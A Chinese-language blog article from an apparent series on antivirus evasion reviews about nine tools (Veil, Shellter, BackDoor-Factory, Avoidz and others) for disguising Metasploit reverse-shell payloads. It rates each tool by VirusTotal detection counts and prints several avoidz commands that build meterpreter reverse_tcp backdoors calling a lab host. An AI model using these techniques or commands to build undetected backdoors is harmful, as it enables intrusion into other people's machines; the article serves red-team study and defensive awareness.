免杀工具
《远控免杀从入门到实践》系列文章目录:
2、远控免杀从入门到实践 (2)工具总结篇
3、远控免杀从入门到实践 (3)代码篇-C/C++
4、远控免杀从入门到实践 (4)代码篇-C#
5、远控免杀从入门到实践 (5)代码篇-Python
6、远控免杀从入门到实践 (6)代码篇-Powershell
7、远控免杀从入门到实践 (7)代码篇-Golang+Ruby
8、远控免杀从入门到实践 (8)白名单总结篇
9、远控免杀从入门到实践 (9)深入免杀 (暂定)
10、远控免杀从入门到实践 (10)自研工具篇 (暂定)
一、前言
在了解了免杀的一些基础知识和 Metasploit 自带的一些免杀方式之后,我开始学习和研究市面上知名度比较高的免杀工具,从互联网上找到了大约 30 多个免杀工具,从中筛选出来了 21 个工具进行免杀测试和学习,总耗时一个多月时间。
这些工具有的免杀效果也算一般,但可能只是因为发布时间长了一些,生成的 payload 都被杀软都加入了特征库,有几款工具都是在 blackhat 大会上发布的,甚至在免杀史上具有一些里程碑意义,但目前来看免杀效果也比较一般了。我们主要是学习他们的免杀原理和技巧,进而能打造自己的免杀秘术。
已完成的免杀文章及相关软件下载:https://github.com/TideSec/BypassAntiVirus
二、免杀效果概览
本文工具篇涉及的工具:Veil、Venom、Shellter、BackDoor-Factory、Avet、TheFatRat、Avoidz、Green-Hat-Suite、zirikatu、AVIator、DKMC、Unicorn、Python-Rootkit、DKMC、Unicorn、Python-Rootkit、ASWCrypter、nps_payload、GreatSCT、HERCULES、SpookFlare、SharpShooter、CACTUSTORCH、Winpayload 等。
免杀测试主要是使用了 metasploit 或 cobaltstrike 生成的代码或程序进行免杀处理,在实验机 (win7 x64) 上安装了 360 全家桶和火绒进行本地测试,在 https://www.virustotal.com/上进行在线查杀(如果是自己做免杀,建议测试机不要联互联网,更不要上传到 virustotal.com 类似的平台上)。
我从 virustotal.com 中选择了几款常见的杀软拿出来做个对比。
几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了 Bypass。
2、为了更好的对比效果,大部分测试 payload 均使用 msf 的 windows/meterperter/reverse_tcp 模块生成。
3、由于本机测试时只是安装了 360 全家桶和火绒,所以默认情况下 360 和火绒杀毒情况指的是静态+动态查杀。360 杀毒版本 5.0.0.8160(2020.01.01),火绒版本 5.0.34.16(2020.01.01),360 安全卫士 12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在 virustotal.com(简称 VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为杀软查杀能力或免杀能力的判断指标。
5、完全不必要苛求一种免杀技术能 bypass 所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能 bypass 目标主机上的杀软就足够了。
由于每种免杀方法和工具之前都发过文章一一介绍了,这里只是做一个总结和索引,所以本文中尽量只是简要文字描述,不然的话这一篇文章可能会太超长了。
三、工具免杀
3.1 Veil 免杀 (VT 免杀率 23/71)
操作便利★★
免杀效果★★★
推荐指数★★★
Veil、Venom 和 Shellter 是三大老牌免杀工具,虽然说人怕出名猪怕壮,但目前这几款免杀工具在扩展性和免杀能力方面依然有着不错的表现。Veil 可以生成基于 c、go、ruby、python、c#、perl、powershell 等格式的 payload,这点来说绝对强于其他绝大部分免杀工具。
Veil 是一个用 python 写的免杀框架,可以将任意脚本或一段 shellcode 转换成 Windows 可执行文件,还能利用 Metasploit 框架生成相兼容的 Payload 工具,从而逃避了常见防病毒产品的检测。
Veil 的手工安装比较费劲,好在有 docker 镜像,可以直接 pull 回本地安装使用。
3.1.1 使用 veil 直接生成 exe(VT 查杀率 44/70)
veil 可以直接生成支持 msf 的 payload。测试时使用 go 语言生成 msf 的 payload。
在测试主机执行 go_msf.exe,msf 中可上线。virustotal.com 中 44/71 个报毒
虽然查杀率还比较高,不过火绒和 360 都能静态+动态免杀。比较遗憾的是生成的 exe 文件比较大,go 语言生成的 exe 大约 2M,python 生成的 exe 大约 4M,ruby 生成的 exe 大约 700K,相比 msf 原生态的 exe 大打多了。
3.1.2 使用 veil+mingw-w64(VT 查杀率 23/71)
先用 veil 生成一个可以被 msf 利用的 c_msf.c 然后用 mingw-w64 来编译
全程开启 360 卫士和杀毒以及火绒,编译、运行、上线都没有问题。
virustotal.com 中 23/71 个报毒
3.2 Venom 免杀 (VT 免杀率 11/71)
操作便利★★
免杀效果★★★★
推荐指数★★★★
Venom 利用 msfvenom(metasploit)生成不同的格式的 shellcode,如(c | python | ruby | dll | msi | hta-psh)等,然后将生成的 shellcode 注入一个模板(例如:python),并使用类似 gcc、mingw32 或 pyinstaller 之类的编译器生成可执行文件。
Venom 的一些功能还会直接调用 Veil-Evasion.py,unicorn.py,powersploit.py 等来直接创建免杀程序,避免重复造轮子。
经测试,使用 venom 生成 exe 后门,virustotal.com 中 19/71 个报毒
使用 venom 生成 dll 后门,virustotal.com 中 11/70 个报毒,而且能过微软和卡巴。
在 venom 生成编译的过程中可以看到他生成的 shellcode 其实是直接调用的 msfvenom,而且在最后也可以和 msf 联动进行监听,还支持 apache 的 web 分发,很多模块都能和 msf 无缝对接,虽然被杀软盯的紧但免杀体验还是不错的。
3.3 Shellter 免杀 (VT 免杀率 7/69)
操作便利★★★★★
免杀效果★★★★★
推荐指数★★★★★
Shellter 是一个开源的免杀工具,利用动态 Shellcode 注入或者命令来实现免杀的效果。
Shellter 安装非常简单,使用也非常便捷,而且生成的 payload 免杀效果也都比较好,windows 和 linux 下都可以使用,实在是居家旅行必备良药。我是用的自动模式进行生产 payload, 你可以根据自己的需要进行手动配置,这样生成的 payload 免杀效果会更好。
因为 Shellter 生成的 shellcode 是动态的,所以被查杀的几率也有所不同,测试过几次自动化生成的 payload,最好的秒杀效果是 4/71,最差的 15/70,整体来说也算不错了。
我就直接用 kali 自带的 shellter 进行演示,需要提前准备一个 pe 文件作为被注入程序。
还是选择 windows/meterpreter/reverse_tcp 作为 payload
全程自动化生成,最终的生成文件会替换原来的 putty.exe。
在测试机中执行生成的 putty.exe,360 和火绒均可免杀
msf 正常上线,virustotal.com 中 7/69 个报毒,卡巴、瑞星、微软三个都没 bypass。。
3.4 BackDoor-Factory 免杀 (VT 免杀率 13/71)
操作便利★★
免杀效果★★★★★
推荐指数★★★★★
BackDoor-factory,又称后门工厂 (BDF),BDF 是也是一款老牌的免杀神器,其作者曾经在 2015 年的 blackhat 大会上介绍过该工具。该工具还有很强大的一些其他功能,比如加私钥证书、CPT 等等。但是作者已经于 2017 年停止更新,免杀效果就算现在来看也还算不错的。
利用 backdoor-factory,用户可以在不破坏原有可执行文件的功能的前提下,在文件的代码裂隙中插入恶意代码 Shellcode。当可执行文件被执行后,就可以触发恶意代码。Backdoor Factory 不仅提供常用的脚本,还允许嵌入其他工具生成的 Shellcode,如 Metasploit。
原理:可执行二进制文件中有大量的 00, 这些 00 是不包含数据的, 将这些数据替换成 payload, 并且在程序执行的时候,jmp 到代码段, 来触发 payload。backdoor-factory 是把 shellcode 插入到一个正常的 exe 文件的代码"缝隙"中,类似于捆绑但不是捆绑,所以需要提前准备一个被捆绑的宿主 exe 文件。
当使用 BackDoor-Factory 直接生成免杀后门时,virustotal.com 中 13/69 个报毒。
还可以使用自己定义的 shellcode,virustotal.com 中 14/71 个报毒
3.5 Avet 免杀 (VT 免杀率 17/71)
操作方便★★
免杀效果★★★★
推荐指数★★★★
Avet 全称 AntiVirus Evasion Tool,2017 年在 blackhat 大会上公开演示,可对 shellcode,exe 和 dll 等多种载荷进行免杀处理,使用了多种不同的免杀技术,具有较好的免杀效果,据说在 blackhat 大会上演示时免杀效果震撼全场。
生成的 payload 在 virustotal.com 中 17/71 个报毒
可能是因为知名度太高,默认输出的 payload 免杀能力只能算是一般,测试了几个模块,最好的免杀是 13/71,最差的是 36/71,不过相比 msf 原生的免杀已经好很多了。
而且 Avet 提供了强大的自定义功能,在 build 文件夹下可以看到所有的 payload 生成脚本,很多参数都可以自己设定。Avet 框架也是比较成熟的,可以轻松的进行二次开发,很容易能开发出来自己的专用免杀工具。
3.6 TheFatRat 免杀 (VT 免杀率 22/70)
操作便利★★
免杀效果★★★★
推荐指数★★★★
TheFatRat 创建的后门或者 payload,可以在 Linux,Windows,Mac 和 Android 上等多种平台上执行,可生成 exe、apk、sh、bat、py 等多种格式。TheFatRat 可以和 msf 无缝对接,并且集成内置了 Fudwin、Avoid、backdoor-factory 等多个免杀工具,对 powershell 的免杀姿势尤其多样。
TheFatRat 创建的后门格式和支持的平台比较多样化,而且还支持生成 CDROM/U 盘中能自动运行 (生成 AutoRun 文件) 的后门文件,并且可以对 payload 更改图标,具有一定伪装效果。
使用 TheFatRat 生成 ps1-exe,virustotal.com 中 22/70 个报毒
使用 TheFatRat 生成加壳 exe,virustotal.com 中 12/70 个报毒
使用 TheFatRat 编译 C#+powershell 生成 exe,virustotal.com 中 37/71 个报毒
TheFatRat 的很多免杀方式是借助于 msfvenom 编码、upx 等加壳压缩、c/c# 编译等将 powershell 混淆后编译成 exe 或 bat 文件,但有些在执行时还是会调用 powershell,而 powershell 的调用已经被各大杀软盯的很紧了,所以查杀效果只能算是一般了。
3.7 Avoidz 免杀 (VT 免杀率 23/71)
操作便利★★
免杀效果★★★
推荐指数★★★
avoidz 是一个比较使用比较简单的小工具,利用 msf 生成 powershell 的 shellocde,然后利用 c#、python、go、ruby 等语言对 shellcode 进行编译生成 exe 而达到免杀的效果,套路比较简单,静态检测查杀率还算可以,但行为检测就很容易被查杀出来,和 TheFatRat 具有相同的缺陷。倒是可以借鉴下他的原理,自己写个免杀工具。
使用 avoidz 编译 C# 生成 exe(VT 免杀率 23/68)
提供 3 种 C 代码编译成 exe 的方式,想了解详情的可以 cat avoidz.rb 查看具体区别。
我以第一种为例进行测试
./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f c1
执行后可正常上线。开启杀软进行测试,静态测试没问题,行为检测马上露馅。
virustotal.com 中 23/68 个报毒
使用 avoidz 编译 python 生成 exe(VT 免杀率 11/68)
使用 python 生成 exe 文件
./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f py
静态查杀 没问题,行为检测依旧被拦
virustotal.com 中 11/68 个报毒
使用 avoidz 编译 golang 生成 exe(VT 免杀率 23/71)
使用 go 生成 exe 文件
./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f go
go 版本的静态查杀都没通过,行为检测依据被拦
virustotal.com 中 23/71 个报毒
3.8 Green-Hat-Suite 免杀 (VT 免杀率 23/70)
操作便利★★★★
免杀效果★★★★
推荐指数★★★★
Green-Hat-Suite 是国内大佬 Green-m 的大作,Green-m 大佬在 freebuf 和自己博客上 https://green-m.me/写了很多免杀相关的文章,开始的几篇文章里面有一些知识点就是从他那学到的,而且 msfvenom 命令自动补全脚本也是出自他之手,之前有的知识点写的不太准备大佬也热情的给予指正,万分感谢!
Green-Hat-Suite 也是和 msf 无缝对接的免杀工具,使用 ruby 开发,可在 linux/windows 上安装,使用非常简单,虽然已经接近两年没有更新了,但目前来看免杀效果仍然很不错。
virustotal.com 中 23/70 个报毒
Green-Hat-Suite 调用了 msfvenom 进行随机编码生成 shellcode,然后 Green-Hat-Suite 对 shellcode 进行多重免杀处理混淆,并最终编译生成不同的 exe 后 门文件。虽然原理不算复杂,但两年前的作品,至今来说免杀效果仍很不错。
3.9 zirikatu 免杀 (VT 免杀率 39/71)
操作便利★★★★
免杀效果★★
推荐指数★★
zirikatu 是一个用 bash 编写的小脚本,依赖于 msf、mono、mcs 等软件,也是调用 msfvenom 生成 shellcode, 然后将 shellcode 嵌入 C# 代码,试用 Mcs 编译生成 exe 后门。
Mono 可以让.NET 程序跨平台运行在 Linux,BSD,Windows,MacOS,Sun Solaris,Wii, 索尼 PlayStation, 苹果 iPhone 等几乎所有常见的操作系统之上。从 Mono2.11 版本开始,采用的编译器叫 mcs,它的作用是将 C# 编译为 CIL(Common Language Infrastructure,通用中间语言,也叫 MSIL 微软中间语言,这个语言能运行在所有支持 CIL 的环境中)
virustotal.com 中 39/71 个报毒
zirikatu 利用 msfvenom 生成 shellcode,之后再进行一定处理,编译生成 exe。原理比较简单,操作比较方便,免杀效果相比 Green-Hat-Suite 来说虽然一般,但能过 360、火绒和瑞星的确有点出人意料。